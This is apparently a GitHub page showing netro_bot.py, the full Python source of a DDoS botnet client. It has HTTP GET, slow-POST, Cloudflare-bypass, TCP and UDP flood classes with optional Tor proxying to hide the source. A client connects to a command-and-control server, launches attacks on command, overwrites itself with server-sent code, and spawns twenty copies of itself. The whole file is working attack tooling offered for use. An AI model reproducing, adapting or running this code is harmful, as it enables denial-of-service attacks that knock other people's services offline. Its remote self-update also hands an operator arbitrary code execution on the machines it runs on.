-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathnetro_bot.py
560 lines (426 loc) · 18.8 KB
/
netro_bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
from urllib.parse import urlparse
import cloudscraper
import subprocess
import threading
import random
import string
import socket
import socks
import time
import json
import ssl
import sys
import os
INSTANCES = 20
with open("./useragents.txt", "r") as file:
USERAGENTS = file.read().splitlines()
file.close()
class NetroHTTP(object):
kill = False
active_threads = 0
def __init__(self, url: str, timeout: float, tor_proxies: bool = False):
self.url = url
self.tor_proxies = tor_proxies
parsed_url = urlparse(url)
if not parsed_url.scheme in ["http", "https"]:
raise Exception("Invalid URL scheme.")
if timeout < 10:
raise Exception("Invalid HTTP attack timeout value.")
self.timeout = timeout
if not self.tor_proxies:
self.host_ip = socket.gethostbyname(parsed_url.hostname)
else:
self.host_ip = None
if not parsed_url.port:
if parsed_url.scheme == "https":
port = 443
else:
port = 80
else:
port = parsed_url.port
self.port = port
if self.tor_proxies:
if sys.platform in ["linux", "linux2"]:
threading.Thread(target=self.tor_renewer, daemon=True).start()
def tor_renewer(self):
while True:
if time.time() >= self.timeout or self.kill:
break
os.system("service tor reload")
time.sleep(5)
def randstr(self, length: int):
return "".join(random.choices(string.ascii_letters + string.digits, k=length))
def create_attack_instance(self):
self.active_threads += 1
try:
parsed_url = urlparse(self.url)
if self.tor_proxies:
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(socks.SOCKS5, addr="127.0.0.1", port=9050)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((self.host_ip if self.host_ip else parsed_url.hostname, self.port))
if parsed_url.scheme == "https":
ctx = ssl._create_unverified_context()
sock = ctx.wrap_socket(sock=sock, server_hostname=parsed_url.hostname)
path = "/" if not parsed_url.path else parsed_url.path
path_request = f"{path}{f'?{parsed_url.query}' if parsed_url.query else ''}{f'#{parsed_url.fragment}' if parsed_url.fragment else ''}"
for i in range(100):
if time.time() >= self.timeout or self.kill:
break
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept-Language": "en-US,en;q=0.9",
"Cache-Control": "max-age=0",
"Connection": "Keep-Alive",
"Dnt": "1",
"Host": f"{parsed_url.hostname}{f':{self.port}' if not self.port in [80, 443] else ''}",
"Sec-Ch-Ua": '"Microsoft Edge";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": random.choice(USERAGENTS)
}
request_data = f"GET {path_request} HTTP/1.1\r\n"
for header_name in headers:
header_value = headers[header_name]
request_data += f"{header_name}: {header_value}\r\n"
request_data += "\r\n"
sock.send(request_data.encode())
time.sleep(0.1)
sock.close()
except Exception:
return
finally:
self.active_threads -= 1
class NetroHTTPPost(object):
kill = False
active_threads = 0
def __init__(self, url: str, timeout: float, tor_proxies: bool = False):
self.url = url
self.tor_proxies = tor_proxies
parsed_url = urlparse(url)
if not parsed_url.scheme in ["http", "https"]:
raise Exception("Invalid URL scheme.")
if timeout < 10:
raise Exception("Invalid HTTP attack timeout value.")
self.timeout = timeout
if not tor_proxies:
self.host_ip = socket.gethostbyname(parsed_url.hostname)
if not parsed_url.port:
if parsed_url.scheme == "https":
port = 443
else:
port = 80
else:
port = parsed_url.port
self.port = port
if self.tor_proxies:
threading.Thread(target=self.tor_renewer, daemon=True).start()
def tor_renewer(self):
while True:
if time.time() >= self.timeout or self.kill:
break
os.system("service tor reload")
time.sleep(120)
def create_attack_instance(self):
self.active_threads += 1
try:
parsed_url = urlparse(self.url)
if self.tor_proxies:
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(proxy_type=socks.SOCKS5, addr="127.0.0.1", port=9050)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((self.host_ip if not self.tor_proxies else parsed_url.hostname, self.port))
if parsed_url.scheme == "https":
ctx = ssl._create_unverified_context()
sock = ctx.wrap_socket(sock=sock, server_hostname=parsed_url.hostname)
path = "/" if not parsed_url.path else parsed_url.path
path_request = f"{path}{f'?{parsed_url.query}' if parsed_url.query else ''}{f'#{parsed_url.fragment}' if parsed_url.fragment else ''}"
content_length = random.randint(512, 1024)
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept-Language": "en-US,en;q=0.9",
"Content-Length": content_length,
"Content-Type": "application/x-www-urlform-encoded",
"Dnt": "1",
"Origin": f"{parsed_url.scheme}://{parsed_url.hostname}{f':{self.port}' if not self.port in [80, 443] else ''}/",
"Host": f"{parsed_url.hostname}{f':{self.port}' if not self.port in [80, 443] else ''}",
"Sec-Ch-Ua": '"Microsoft Edge";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": random.choice(USERAGENTS)
}
request_data = f"GET {path_request} HTTP/1.1\r\n"
for header_name in headers:
header_value = headers[header_name]
request_data += f"{header_name}: {header_value}\r\n"
request_data += "\r\n"
sock.send(request_data.encode())
for i in range(content_length):
if any([self.kill, time.time() >= self.timeout]):
break
sock.send(random._urandom(1))
time.sleep(1)
except Exception:
return
finally:
self.active_threads -= 1
# HTTP Flood Cloudflare Bypass
class NetroHCF(object):
kill = False
active_threads = 0
def __init__(self, target: str, tor_proxies: bool = False):
self.target = target
self.tor_proxies = tor_proxies
self.scraper = cloudscraper.create_scraper()
def create_attack_instance(self):
self.active_threads += 1
try:
x = self.scraper.get(self.target, proxies={"http": "socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"} if self.tor_proxies else None)
time.sleep(0.1)
except Exception:
return
finally:
self.active_threads -= 1
class NetroTCP(object):
kill = False
active_threads = 0
def __init__(self, target: str, timeout: float, tor_proxies: bool = False):
host, port = target.split(":", 1)
port = int(port)
if any([port < 1, port > 65535]):
raise Exception("Invalid port value.")
if timeout < 10:
raise Exception("Invalid timeout value.")
self.timeout = timeout
self.host = host
self.port = port
self.host_ip = socket.gethostbyname(self.host)
self.tor_proxies = tor_proxies
def create_attack_instance(self):
self.active_threads += 1
try:
if self.tor_proxies:
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(proxy_type=socks.SOCKS5, addr="127.0.0.1", port=9050)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((self.host_ip, self.port))
while time.time() < self.timeout and not self.kill:
sent_data = sock.send(random._urandom(16))
except Exception:
return
finally:
self.active_threads -= 1
class NetroUDP(object):
kill = False
active_threads = 0
def __init__(self, target: str, timeout: float):
host, port = target.split(":", 1)
port = int(port)
if any([port < 1, port > 65535]):
raise Exception("Invalid port value.")
if timeout < 10:
raise Exception("Invalid timeout value.")
self.timeout = timeout
self.host = host
self.port = port
self.host_ip = socket.gethostbyname(host)
def create_attack_instance(self):
self.active_threads += 1
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while time.time() < self.timeout and not self.kill:
sock.sendto(random._urandom(1024), (self.host_ip, self.port))
except Exception:
return
finally:
self.active_threads -= 1
class NetroAttackManager(object):
def __init__(self):
self.running_attacks = {} # attack_id: {attack_payload}
def attack_handler(self, attack_id: str):
attack_payload = self.running_attacks[attack_id]
method = attack_payload["method"]
target = attack_payload["target"]
timeout = attack_payload["timeout"]
concurrency = attack_payload["concurrency"]
match method:
case "http":
netro_attack = NetroHTTP(url=target, timeout=timeout)
case "http-post":
netro_attack = NetroHTTPPost(url=target, timeout=timeout)
case "tor-get":
netro_attack = NetroHTTP(url=target, timeout=timeout, tor_proxies=True)
case "tor-post":
netro_attack = NetroHTTPPost(url=target, timeout=timeout, tor_proxies=True)
case "tor-hcf":
netro_attack = NetroHCF(target=target, tor_proxies=True)
case "tor-tcp":
netro_attack = NetroTCP(target=target, timeout=timeout, tor_proxies=True)
case "hcf":
netro_attack = NetroHCF(target=target)
case "tcp":
netro_attack = NetroTCP(target=target, timeout=timeout)
case "udp":
netro_attack = NetroUDP(target=target, timeout=timeout)
while time.time() < timeout and attack_id in self.running_attacks:
time.sleep(0.01)
if netro_attack.active_threads >= concurrency:
continue
threading.Thread(target=netro_attack.create_attack_instance, daemon=True).start()
netro_attack.kill = True
self.stop_attack(attack_id=attack_id)
def launch_attack(self, attack_id: str, attack_payload: dict):
method = attack_payload["method"]
target = attack_payload["target"]
timeout = attack_payload["timeout"]
concurrency = attack_payload["concurrency"]
self.running_attacks[attack_id] = attack_payload
threading.Thread(target=self.attack_handler, args=[attack_id], daemon=True).start()
print(f"Attack has been launched!\nID: {attack_id}\nMethod: {method}\nTarget: {target}\nTimeout: {timeout}\nConcurrency: {concurrency}\n")
def stop_attack(self, attack_id: str):
if attack_id in self.running_attacks:
del self.running_attacks[attack_id]
print(f"Attack has been stopped. ID: {attack_id}\n")
class NetroBot(object):
current_sock: socket.socket = None
heartbeat_interval = 1
netro_attacks = NetroAttackManager()
def __init__(self, host: str, port: int, timeout: int = 10):
self.host = host
self.port = port
self.timeout = timeout
def verify_sock(self, sock: socket.socket):
if sock == self.current_sock:
return True
else:
return False
def start(self):
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
self.current_sock = sock
sock.connect((self.host, self.port))
self.send_message(sock=sock, message={"op": "LOGIN", "hostname": f"{socket.gethostname()}"})
threading.Thread(target=self.handler, args=[sock], daemon=True).start()
threading.Thread(target=self.heartbeat_handler, args=[sock], daemon=True).start()
break
except Exception:
time.sleep(5)
continue
def handler(self, sock: socket.socket):
try:
while True:
message = b""
while True:
if not self.verify_sock(sock=sock):
raise Exception("New sock has been created.")
chunk = sock.recv(1)
if not chunk:
raise Exception("Connection closed.")
message += chunk
if message.endswith(b"\r\n\r\n"):
break
self.on_message(sock=sock, message=json.loads(message))
except Exception:
time.sleep(5)
self.start()
def heartbeat_handler(self, sock: socket.socket):
try:
sequence = 0
while True:
if not self.verify_sock(sock=sock):
raise Exception("New sock has been created.")
heartbeat_payload = {
"op": "PING",
"sequence": sequence
}
sequence += 1
self.send_message(sock=sock, message=heartbeat_payload)
time.sleep(self.heartbeat_interval)
except Exception:
return
def on_message(self, sock: socket.socket, message: dict):
if not "op" in message:
raise Exception("Invalid message.")
match message["op"]:
case "ATTACK_LIST":
self.on_attack_list_update(sock=sock, message=message)
case "COMMAND":
self.on_command(sock=sock, command_data=message)
case "UPDATE":
self.on_update(sock=sock, message=message)
def on_attack_list_update(self, sock: socket.socket, message: dict):
running_attacks = message["running_attacks"]
netro_running_attacks = self.netro_attacks.running_attacks
for attack_id in netro_running_attacks:
if not attack_id in running_attacks:
self.netro_attacks.stop_attack(attack_id=attack_id)
for attack_id in running_attacks:
if not attack_id in netro_running_attacks:
self.netro_attacks.launch_attack(attack_id=attack_id, attack_payload=running_attacks[attack_id])
def on_command(self, sock: socket.socket, command_data: dict):
if not "command" in command_data:
raise Exception("Invalid command data.")
match command_data["command"]:
case "launch":
self.on_launch(attack_payload=command_data["attack_payload"])
case "stop_attack":
self.netro_attacks.stop_attack(attack_id=command_data["attack_id"])
def on_update(self, sock: socket.socket, message: dict):
print(f"Received an update command from the CNC.")
script_content = message["script_content"]
with open(__file__, "w") as file:
file.write(script_content)
file.close()
print(f"Successfully updated netro_bot.py, re-initializing...")
os.execv(sys.executable, ["python3" if sys.platform == "linux" else "python"] + sys.argv)
def on_launch(self, attack_payload: dict):
attack_id = attack_payload["id"]
del attack_payload["id"]
self.netro_attacks.launch_attack(attack_id=attack_id, attack_payload=attack_payload)
def send_message(self, sock: socket.socket, message: dict):
if not self.verify_sock(sock=sock):
raise Exception("New sock has been created.")
return sock.send(json.dumps(message).encode() + b"\r\n\r\n")
def deploy_instances():
total_instances = len(subprocess.getoutput("ps -ef | grep netro_bot.py | grep -v grep | grep -v SCREEN").splitlines())
print(f"Total Instances: {total_instances}")
if total_instances > INSTANCES:
exit()
if total_instances < INSTANCES:
for i in range(INSTANCES - total_instances):
if total_instances >= INSTANCES:
break
subprocess.Popen(["screen", "-d", "-m", "python3", "netro_bot.py"])
time.sleep(1)
def main():
deploy_instances()
config = json.load(open("cnc_config.json", "r"))
netro_bot = NetroBot(host=config["IP"], port=config["PORT"])
threading.Thread(target=netro_bot.start, daemon=True).start()
print(f"Netro bot initialized.")
input()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
exit()